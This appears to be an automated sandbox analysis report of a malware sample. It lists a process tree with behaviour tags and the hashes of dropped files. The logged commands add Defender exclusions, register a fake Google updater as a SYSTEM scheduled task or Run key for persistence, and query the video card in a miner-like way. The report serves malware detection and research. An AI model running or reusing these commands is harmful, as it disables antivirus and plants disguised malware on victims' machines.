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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3192
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2464
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2496
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:2804
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4392
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3076
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1988
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe1⤵PID:4700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵PID:1840
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
685KB
MD569897dcd9f9a1de510f72a09209169b0
SHA16d5d949465e7f8c9912704500012b199729ee0b0
SHA256c2a20b281ad89de16f246435915adbffc790d97303f306779bc8a702a1b2238c
SHA5129a236ebbc4756bb73cadd2d11fc747f2c0fff5480c9acefdeb0dc4d51f543de8e89e5042e7862f01f523a625bab1176130d6a66e5dc243a303fa8474f1566170
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Filesize
537KB
MD5cc618d2c60426e831831467845596f17
SHA12877a81367132c672d22172f0ae908ecb9ce2d5d
SHA256ca64aa10f2a48293f6c0545ea3cb33c9eebe414627e4ed276b1637302cf9f0fa
SHA5127ac5912cb56e7c943f26ca4b2533a086958d5d7cd0a5fa03a0ac70326bbfc2ce9a3af8eab03cd9af3f00d8637faa37a520f0c5d27bfdac741dde445b08b3e636
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
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Filesize
1KB
MD50d28e0c9fe4439db985e3a7e3c6055d7
SHA1484c5ab56151138115cb5cedc1f2a7e4543ecf30
SHA256c80a22a06ec7f853a86f59eed3626b842465e153ec80c893e3414a4aed26c3a4
SHA5125b4576a36aad30c0311d270f102ff91ac9253d042e96a81d19128bdea249f68fb571492bcd9323f072d193625a9b95824204d9e7342690f47f718aea14e8f562
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5